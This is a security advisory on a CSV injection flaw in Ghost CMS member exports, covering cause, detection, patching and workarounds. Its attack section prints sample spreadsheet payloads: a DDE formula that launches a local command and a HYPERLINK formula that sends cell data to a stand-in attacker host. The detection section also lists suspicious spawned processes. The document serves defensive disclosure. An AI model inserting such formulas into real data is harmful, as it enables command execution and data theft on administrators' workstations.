CVE-2024-34448: Ghost CMS CSV Injection Vulnerability

CVE-2024-34448 Overview

CVE-2024-34448 is a CSV injection vulnerability affecting Ghost versions prior to 5.82.0. The flaw exists in the member CSV export functionality, where user-supplied data is written to CSV files without sanitization of formula-triggering characters. An authenticated attacker with member registration or profile modification privileges can inject spreadsheet formulas into export fields. When an administrator opens the exported CSV file in Microsoft Excel, LibreOffice Calc, or Google Sheets, the injected formulas execute in the context of the reviewer's workstation. This can lead to data exfiltration, arbitrary command execution through Dynamic Data Exchange (DDE), or credential theft. The vulnerability is classified under [CWE-74] Improper Neutralization of Special Elements in Output.

Critical Impact
An attacker can achieve arbitrary code execution on an administrator's workstation by injecting spreadsheet formulas into member profile fields that are later exported and opened.

Affected Products

Ghost (Node.js publishing platform) versions before 5.82.0
Self-hosted Ghost installations exposing member registration
Ghost deployments where administrators export member data to CSV

Discovery Timeline

2024-05-22 - CVE-2024-34448 published to the National Vulnerability Database
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2024-34448

Vulnerability Analysis

Ghost provides administrators with the ability to export the member list as a comma-separated values (CSV) file. The export routine serializes member attributes, including name, email, note, and label fields, directly into CSV rows. The routine does not neutralize leading characters that spreadsheet applications interpret as formula delimiters, specifically =, +, -, @, and tab or carriage return characters.

An attacker registers as a member or modifies an existing member profile so that one of the exported fields begins with a formula prefix. When a Ghost administrator downloads and opens the resulting CSV file, the spreadsheet application evaluates the injected content as a formula rather than displaying it as text. This shifts the trust boundary from the Ghost server to the administrator's desktop application.

Root Cause

The root cause is missing output encoding in the CSV export handler. The application treats member fields as safe strings for CSV serialization without applying the well-known mitigation of prefixing dangerous leading characters with a single quote or wrapping the value to prevent formula interpretation. This falls under [CWE-74] because output is not neutralized for the downstream CSV consumer.

Attack Vector

Exploitation follows a stored-then-triggered pattern. The attacker submits a crafted value such as =cmd|'/c calc'!A1 or =HYPERLINK("https://attacker.example/?d="&A2,"Click") through the member signup form or profile update endpoint. The payload is stored in the Ghost database. When an administrator later exports members to CSV and opens the file in a spreadsheet application, the payload executes. Depending on the client application and its macro settings, the attacker can exfiltrate adjacent cell data, redirect the reviewer to a malicious URL, or invoke DDE handlers to spawn local processes. Refer to the public technical write-up for payload details.

Detection Methods for CVE-2024-34448

Indicators of Compromise

Member records where name, email, note, or label fields begin with =, +, -, @, \t, or \r
Recently exported CSV files containing cells with HYPERLINK, WEBSERVICE, IMPORTXML, or DDE formula calls
Outbound network connections from administrator workstations to unfamiliar hosts shortly after a CSV export

Detection Strategies

Query the Ghost members database for stored values with formula-triggering leading characters before allowing exports
Inspect generated CSV files with a linter that flags cells beginning with =, +, -, or @
Monitor endpoints for spreadsheet processes such as excel.exe spawning child processes like cmd.exe, powershell.exe, or mshta.exe

Monitoring Recommendations

Alert on new member registrations where field content matches CSV injection payload patterns
Log all administrative exports from Ghost and correlate them with subsequent process activity on the exporting user's device
Review web application firewall logs for signup requests containing formula-prefixed values

How to Mitigate CVE-2024-34448

Immediate Actions Required

Upgrade Ghost to version 5.82.0 or later on all self-hosted instances
Audit existing member records for stored formula payloads and sanitize or remove suspect entries before performing exports
Instruct administrators to open exports only in applications configured to disable automatic formula evaluation

Patch Information

Ghost fixed CVE-2024-34448 in version 5.82.0 by neutralizing formula-triggering characters during CSV export. Operators should update to 5.82.0 or a later release. Consult the Ghost release notes and the public advisory reference for confirmation of the fixed version.

Workarounds

Sanitize exports manually by prefixing any cell beginning with =, +, -, or @ with a single quote before distributing files
Open Ghost CSV exports in a plain-text editor or import them into a spreadsheet with formula parsing disabled
Restrict member self-registration and validate profile input at the reverse proxy to block formula-prefixed strings

bash

# Upgrade Ghost using Ghost-CLI on the host system
ghost update --version 5.82.0

# Verify the installed version after upgrade
ghost version